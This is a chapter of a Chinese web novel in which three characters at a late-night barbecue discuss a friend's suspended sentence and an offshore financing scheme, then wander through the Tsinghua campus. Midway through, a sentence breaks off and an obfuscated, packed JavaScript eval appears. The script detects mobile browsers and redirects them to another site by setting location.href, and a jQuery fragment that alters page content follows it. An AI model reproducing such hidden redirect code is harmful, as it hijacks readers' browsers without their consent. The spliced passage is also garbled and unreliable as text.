58. Dubhe
作品:《数钱的星星Staring Deeply into Yield》 西三环边上一条不知名的背街小巷,凌晨一点。
没有流光溢彩的亮马河,只有一盏昏黄摇曳的白炽灯,挂在油腻腻的帐篷顶上。
「滋啦——」
肥瘦相间的羊肉串在炭火上滋滋冒油,孜然和辣椒面的香气霸道地横冲直撞,盖过了旁边下水道若有若无的异味。
一张有些跛脚的折叠桌旁,围坐着三个与环境格格不入的人。
「老板!再来十串大腰子!烤焦一点!」
叶明熙把刚拿到手的、沉甸甸的影后奖杯,「哐」地一声,随手墩在了沾着油渍的塑料桌布上。
她身上那件亮片深V高定礼服外面,裹了一件不仅不搭调、甚至有点土气的军大衣,脸上架着一副巨大的墨镜,遮住了半张脸,手里却豪迈地举着一瓶绿棒子燕京啤酒。
「为咗我嘅清华MBA开题!饮杯!」
叶明熙仰起头,对着绿色的燕京啤酒瓶口,一口气吹掉了半瓶。
她放下酒瓶,手背豪迈地擦过嘴角,打了一个响亮的、带着啤酒花苦味的嗝。
李望枢坐在对面,修长的手指正在剥一头糖蒜。他那件昂贵的黑色高领毛衣袖口挽到了手肘,露出线条精壮的小臂,蒜皮堆在骨碟里。
「恭喜影后。」
他把剥得雪白的糖蒜扔进叶明熙面前的碟子里:「不过,你把这金像奖奖杯搁在这儿,不怕被羊肉味熏入味了?」
「入味又点啫?呢啲叫烟火气!」
叶明熙抓起一串滋滋冒油的红柳大串,狠狠咬下一块肉,咀嚼肌用力:「以前老觉得这种地方污糟,依家先知,比嗰班投资人的饭局干净多了!嗰班老男人,嘴上讲仁义道德,肚子里全系男盗女娼。」
她转过头,看向一直沉默撸串的辰知星,那双画着全包眼线的眼睛亮得惊人:「知星姐,真的多谢你同林教授嘅推荐信。真系,这年头,靠样揾食系青春饭,靠脑揾食先系铁饭碗。我要证明给我那个蹲监的前男友睇,离开了他,老娘照样活得生猛!」
说到这儿,她举着那根光秃秃的铁签子,指了指虚空:
「对了!殷灿言那个女人还在缓刑,没跳槽去别的机构吧?我准备高薪聘请她给我当私教!」
辰知星手里捏着一只一次性塑料杯,里面装着透明的二锅头。她看着叶明熙这副张牙舞爪的样子,嘴角勾起一抹极淡的笑,视线穿过缭绕的蓝色烟雾,落在叶明熙脸上。
「怎么?她还欠你学费?」
「她欠我嘅多啦!」
叶明熙把铁签子往不锈钢盘子里重重一拍。
她把鼻梁上的墨镜往下拉了一点,露出那双在娱乐圈摸爬滚打多年、精明得吓人的眼睛。身体前倾,压低了声音:「你们真系以为,嗰个『缓刑』系天跌落嚟的馅饼啊?系那个司长良心发现?」
她伸出那根沾着羊油的食指,在空中用力点了点:
「当年那份判决书下来的前夜,我动用了工作室所有的营销号,甚至买了外网的头条。我让编剧通宵写了十几个版本的通稿,把她包装成了什么?——为了填补国资窟窿而不得不违规的悲情英雄!」
叶明熙冷哼一声,拿起桌边的纸巾,用力擦拭着手指上的油污:
「如果不判缓刑,那几万个买了恒景烂尾楼的业主、那几十个被扣押在中东的工程师家属,第二天早上就要去法院门口静坐了!法律不仅看条文,也看□□成本。我帮她把这个成本,抬高到了他们唔敢动佢的地步。」
她伸手抓过那座沉甸甸的金像奖奖杯,指甲在金色的底座上敲得当当作响:
「所以啊……她这条命,有一半系我保下来的。」
「我要个VIP班,唔过分呀嘛?」
辰知星笑了。
她举起那个廉价的塑料杯,和叶明熙的酒瓶碰了一下,发出沉闷的声响:「不过分。很划算。」
「光有舆论也不够。」李望枢把手里剥了一半的蒜皮扔在地上,用纸巾慢条斯理地擦着手。
在这充满了地沟油味道的小摊上,他的语气却像是在顶级投行的董事会上做陈述。
「舆论只能保命,不能平账。」
李望枢扫了一眼周围喧闹的食客,将声音压低到只有这一桌能听见的频率。
他伸手,清空了面前那块满是油渍的桌面。
他拿过一只绿色的燕京酒瓶,放在最左边;又把叶明熙那个金灿灿的奖杯,挪到了中间;最后,拿起那双用过的一次性筷子,横在最右边。
「直接转账?那是找死。」
李望枢指着那个酒瓶,语气凉薄:「那种几十亿的资金,要是敢走地下钱庄,就叫洗钱。」
「顾臣戈当初要是敢在那张单子上签字……」
他用手指关节,重重地敲了敲桌面:「他现在人就在秦城蹲着,而不是在酒泉看星星了。」
「我们玩儿的是接力赛。」
他的手指点了点中间那个金奖杯:
「第一步,境外代付。许京韫当时要嫁的耿家在新加坡,用合法的商业名义,把两亿美金打给了那个军阀。这叫离岸交易,秒到账,谁也查不出毛病。」
叶明熙眨了眨眼,视线跟着他的手指移动:「那钱是谁还?」
「问得好。」
李望枢拿起那双筷子,重重地压在奖杯旁边:
「第二步,境内确权。殷灿言在国内,跟耿家签了一份巨额欠条。」
说到这里,李望枢停顿了一下。
他拿起那双筷子,并没有放下,而是双手握住两端,慢慢地、一点点地向中间**弯折**。
竹筷发出不堪重负的**「咔、咔」**细响,弯成了一个即将断裂的弧度。
「为了让耿家放心掏这笔钱,也为了过监管的审……」
李望枢盯着那双快要断掉的筷子,眼神冷酷:「殷灿言签了一份『无限连带责任的对赌协议』。」
「通俗点说,就是『卖身契』。」
他松开手,变形的筷子弹回桌面,滚了两圈,不动了。
「她把自己未来二十年的工资、分红、名誉,甚至人身自由,全部抵押了出去。在还清这两亿美金之前,她就是个高级打工仔。连买张机票,都要向董事会报备。」
他轻笑了一声,带着几分嘲讽,拿起那个绿棒子啤酒给自己倒满。
「这完全合法,但也完全……要命。」
叶明熙听得目瞪口呆,手里的羊肉串都凉了:「那……那顾臣戈呢?既然都合法了,他为什么还要……」
「因为时间。」
辰知星终于开口了。
她仰头将杯子里的二锅头一饮而尽,烈酒烧喉,辣得她微微眯起了眼。
「正常的ODI备案和外汇审批,至少需要三个月。但那天,殷灿言只有十五分钟。」
她转过头,看着李望枢,又像是透过他在看另一个人。
「顾臣戈动用了他在发改委和外管局所有的人情,启用了国家战略资产紧急保全的特殊通道。」
「他在那份加急审批单上,签了自己的名字,担保这笔交易是为了『维护国家海外利益』,从而让这笔交易跳过了所有的排队和实质审查,在一分钟内完成了备案。」
辰知星的声音低了下去,混在炭火炸裂的声音里:
「程序是合规的,但动用人情去加速这个程序,在现在的政治生态里,就是原罪。」
「他没有违纪,但他破坏了公平。」
「这就是为什么,案子结了,他却主动申请去了西北,去守雷达。」
「不仅是因为舆论,更是因为……他觉得他用公权力谋了私情。他这种有洁癖的人,过不去自己心里那道坎。」
「他是在自我流放。」
一阵冷风吹过,卷起地上的餐巾纸和灰尘。
叶明熙打了个寒颤,把军大衣裹得更紧了些。她看着手里那个金光闪闪的影后奖杯,忽然觉得在这个充满了法律条文、资本运作和政治隐喻的故事里,这玩意儿显得有些轻飘飘的。
「这帮人……」她嘟囔着,眼圈却有点红,「一个个都跟疯子一样。把法律玩得跟艺术一样,把自己活得跟苦行僧一样。图什么啊?」
「图个心安吧。」
李望枢举起那个沾着油渍的一次性塑料杯,对着北京浑浊的夜空敬了一下。
「敬疯子。」
辰知星没有举杯。
她想起了那个特楼里的雪夜。
她闭上眼,脑海里浮现出那个流掉的孩子,和那满地的鲜血。
「敬……幸存者。」
她轻声说着,抓起桌上的酒瓶,对着瓶口,狠狠灌了一大口。
辛辣的液体入喉,呛出了眼泪。
「老板!」她把空酒瓶重重拍在桌上,带着一股发泄般的豪气,「再来一箱!」
就在这时。
隔壁桌几个喝高了的民工突然爆发出一阵争吵。
「砰!」
一只空啤酒瓶被狠狠摔在水泥地上,炸裂开来。
这声音不大,但在酒精作用下神经紧绷的辰知星听来,却像是特楼里那根暖气管爆裂的巨响。
应激反应瞬间接管了她的身体。
辰知星手里的酒瓶滑落,整个人猛地一缩,双手死死捂住耳朵,喉咙里发出一声压抑的短促尖叫,整个人开始剧烈地颤抖,呼吸急促到几乎无法换气。
「知星!」
李望枢脸色大变,扔下杯子,一把将她死死搂进怀里,捂住她的耳朵。他知道,必须马上离开这个环境。
「走!去北大西门!进学校!」
他扶着辰知星,叶明熙抓起奖杯和包,跌跌撞撞地跟在后面。
然而,古色古香的北大西门门禁森严。李望枢掏出手机,手指飞快地在访客预约系统上点击。
三秒后,屏幕上弹出一个冰冷无情的对话框:【今日访客预约名额已满】。
「去清华西门!」
他当机立断,扶着辰知星转身就走。
这段路并不长,但在深夜冷风中,对于穿着高跟鞋的叶明熙和濒临崩溃的辰知星来说,简直是万里长征。
终于挪到了清华西门。
气喘吁吁的李望枢把辰知星交给叶明熙扶着,自己开始翻找口袋。
李望枢的动作越来越快,额头上渗出了冷汗——他忘了带校友卡。
保安大叔狐疑地看着这三个衣着光鲜却行为怪异的人。
就在这尴尬到窒息的时刻。
一只做着精致美甲的手突然伸过来,一把夺过李望枢手里那个还没打开的手机。
「哎呀姐夫你真系笨手笨脚噶!依家都系电子化啦!」
叶明熙一边嫌弃地吐槽,一边熟练地用肩膀顶住摇摇欲坠的辰知星,让她靠在自己身上。
她单手操作手机,飞快地打开清华大学的在校生小程序,点进「访客预约」界面。
她的手指在屏幕上飞舞,噼里啪啦地输入辰知星和李望枢的身份证号。
提交,生成访客码。
然后,她走到闸机前,对着摄像头扬起那张价值不菲的脸蛋。
「嘀——人脸识别通过。」
叶明熙先一步跨过闸机。
她没有立刻走远,而是转过身,伸出戴着满钻戒指的手,手背向外,死死地挡住那两扇随时可能合拢的亚克力挡板。
她另一只手虚扶着辰知星的后背,护着她穿过那道狭窄的通道。
直到确认辰知星的双脚平稳地踩在校内的柏油路上,叶明熙才松开挡板。
她冲着门外还在对着访客预约二维码皱眉的李望枢,挥了挥那张紫色的学生卡:「入嚟啦姐夫!等你搞掂天都光晒啦!多谢大家俾我有书读!读书真系好有用啊!」
李望枢看着闸机内扬起下巴,一脸小人得志的影后,影后。他推了推眼镜,没说话,只是低头加快了刷访客码的速度。
深夜的清华园,梧桐树影婆娑。
三人停在了一片被蓝色铁皮围挡圈起来的区域前。
这里没有草坪,没有教学楼。只有两台巨大的黄色塔吊,像钢铁巨兽一样矗立在夜色中。探照灯打在满是钢筋和混凝土的深坑里,空气中弥漫着湿润的水泥味。
围挡上,喷绘着一行醒目的大字:「清华大学未来智慧城市科研实验楼(在建)」。
叶明熙踩着那双十厘米的红底高跟鞋,深一脚浅一脚地走到围挡前。
她伸出那根贴着镶钻甲片的手指,指着那片黑乎乎、只有钢筋裸露的地基。
「姐,你睇!」
她挽紧了辰知星的胳膊,语气里充满了一种朴实无华、甚至有些天真的炫耀:
「呢栋楼,我捐噶!靓唔靓?」
辰知星看着那片泥泞的深坑。
叶明熙却仿佛看见了什么稀世珍宝,她用脸颊蹭了蹭辰知星的肩膀:「等你下次再唔开心,我地就嚟呢度睇楼!如果你中意,我再去隔离捐多栋俾你玩!」
李望枢站在一旁,视线扫过那堆杂乱的钢筋和还没干透的混凝土。作为景观设计师,他实在没看出这片工地的美学价值,但他明智地保持了沉默。
然而,这种「地主家傻女儿」的快乐并没有维持太久。
叶明熙的眉头突然皱了起来。
她抬起一只脚,单脚站立,身体重心靠在辰知星身上。她低头,看着那双已经沾满泥土、鞋跟陷入碎石缝隙里的ChristianLouboutin
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921009|189948||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
现实的物理疼痛,迅速占领了她的大脑。
「太远了!真系太远了!」
她指着隔壁北京大学的方向,声音拔高了八度,名媛脾气瞬间爆发:「刚才要是能进北大西门,现在早就坐在店里吹冷气了!哪还要遭这罪!」
她猛地转头,那双画着全包眼线的眼睛,死死盯住了李望枢。眼神里那种属于资本家的精明光芒,在路灯下闪烁。
「姐夫,你俾个底我。」
她指着北大的方向:「北大那个什么凯原楼、廖凯原楼,造价几多?我捐一栋行不行?我把楼买了,是不是就能刷脸走近路了?」
李望枢张了张嘴,刚想开口普及一下高校基建的审批流程。
一直靠在他怀里沉默不语的辰知星,慢慢直起了身子。
她抬起手,极其慢条斯理地整理了一下略显凌乱的真丝衬衫领口。
「明熙。」
辰知星的声音平静、严谨,不带一丝感情色彩:「不太行。我们光华管理学院没有非全日制项目。就算你捐了楼,也得参加全国统考,还得过面试。」
叶明熙脸上的笑容,咔嚓一声,裂开了。
「真的吗?!」
她不死心,一把抓住李望枢的胳膊,指甲几乎掐进他的肉里,进行最后的挣扎:「姐夫你也是清华的,你唔好呃我!肯定有别的办法对不对?!」
李望枢看着她那副急切的样子。
他扶了扶鼻梁上的金丝眼镜,决定用最精确的地理知识,给予这位影后最后一击。
他摆出了一副极其专业的、只有在向甲方汇报方案时才会有的严肃表情:
「原则上,捐楼确实可以获得一些校友权益和入学便利。」
他顿了顿,语气诚恳:「但是据我所知,如果你现在给北大捐楼,按照最新的校区规划,通常会安排你去深圳的汇丰商学院上学。」
他抬起手,手指笔直地指向南方,那是两千公里外的方向:「深圳。」
「为了吃这顿烧烤,你确定要飞那么远?」
一阵夜风吹过,卷起地上的尘土。
叶明熙站在清华的地盘上,顺着李望枢手指的方向看去。
她张着嘴,彻底死机了。
三秒钟后。
她不再哀嚎,也不再抱怨脚疼。
她极其冷静地从手包里掏出手机。
那双贴着长长美甲的手指,在屏幕上飞快地划动、点击。那专注的神情,仿佛在进行一场涉及百亿资金的尽职调查。
叶明熙只安静了不到五分钟。
她点开通讯录,果断地拨通了经纪人蒋一平的电话。
电话那头很快接通。
传来了蒋一平还没睡醒、带着重重鼻音的嘟囔声:「喂?祖宗,这都几点了……」
叶明熙根本不给她喘息的机会。
她站在清华园空旷的路灯下,单手叉腰,握着手机的姿势像是在握着一个必须被立刻执行的权杖。她的声音清脆、急促,穿透了静谧的夜色:
「蒋一平!唔好瞓啦,起身做嘢!」
李望枢和辰知星停下脚步,看着她。
只见叶明熙一边踩着高跟鞋在原地踱步,一边语速飞快地开始下达指令,那语气仿佛是在调度一场几十亿的商业并购:
「依家系战略部署的关键时刻!你立刻给我去搞一份考研市场调研报告!我要最好的辅导班推荐!Top1嗰种!」
电话那头传来一阵重物落地的闷响,大概是蒋一平从床上滚了下来。
「考……考研?」蒋一平的声音里满是惊恐,「您受什么刺激了?林教授把你从清华退学了?」
叶明熙直接无视了他的崩溃。她伸出手指,在空中虚点,像是在点菜一样精准地点名考研届的各位「大神」:
「政治我知道,肖秀荣系永远的神,肖四肖八你到时候必须给我搞到第一手真题!我要有签名的那种!」
「关键系数学!我现在好纠结,到底是报张宇的班定系宋浩的班啊?张宇宇哥听说讲得激情,适合冲刺;但宋浩浩哥听说基础打得牢……」
她皱起眉,仿佛在挑选两块价值连城的翡翠:
「啧,要不两个都报了?让他们给我搞个联名款VIP私教?钱唔系问题!」
蒋一平的声音开始发抖:「祖宗……您认真的?那可是考研数学啊!不是买包!」
叶明熙深吸一口气,对着电话那头已经快要昏厥的经纪人,发出了最后的动员令:
「仲有英语!咪搞嗰啲花里胡哨的,我要那个能押中作文的老师!专业课呢?光华的专业课有冇那种内部保过班?多少钱都行,给我砸!」
电话那头突然陷入了死一般的寂静。
两秒钟后。
蒋一平的声音再次传来。这一次,那种没睡醒的慵懒消失了,取而代之的是一种极其冷静、客观、甚至带着点职业假笑的播音腔:
「你好。专业课没有内部保过班。」
叶明熙的豪情壮志瞬间被浇了一盆冷水。她眉毛一竖,刚要发飙。
听筒里,蒋一平又不紧不慢地补了一刀:
「……但是我猜,殷灿言应该很厉害。」
叶明熙愣住了。
她眨了眨眼睛,那个画着精致眼线的眼皮快速跳动了几下,CPU开始疯狂运转。
下一秒。
她猛地转过头,目光炯炯地盯着李望枢和辰知星。那种眼神,仿佛在看两个已经被时代抛弃的旧产物,而她刚刚发现了新大陆。
「系喔!」
她一拍大腿,声音比刚才还要洪亮:
「我点解把她给忘了!」
她重新举起手机,对着那头的蒋一平大声赞叹道:
「蒋一平!你终于讲咗句人话!你这个月的奖金翻倍!」
「嘟。」
她果断挂了电话,根本不理会身后两位真学霸脸上那复杂得难以言表的表情。
「我查好了!」
叶明熙收起手机,声音里不再有娇纵,而是充满了资本家准备垄断市场的冷酷与决绝。
「肖秀荣爷爷的押题班,加上给殷灿言几十万的数学和专业课私教套餐……」
她深吸一口气,站在清华经管学院伟伦楼的台阶下。
她握紧拳头,对着隔壁北大的方向,发出了振聋发聩的誓言:
「我觉得这事儿能用钱砸通!不就是做题吗?」
「我决定了,我要考光华管理学院!」
夜风中。
李望枢摘下眼镜,疲惫地揉了揉眉心,似乎在思考人类智商的参差。
辰知星靠在他怀里,肩膀微微耸动,发出一声无奈又好笑的叹息。

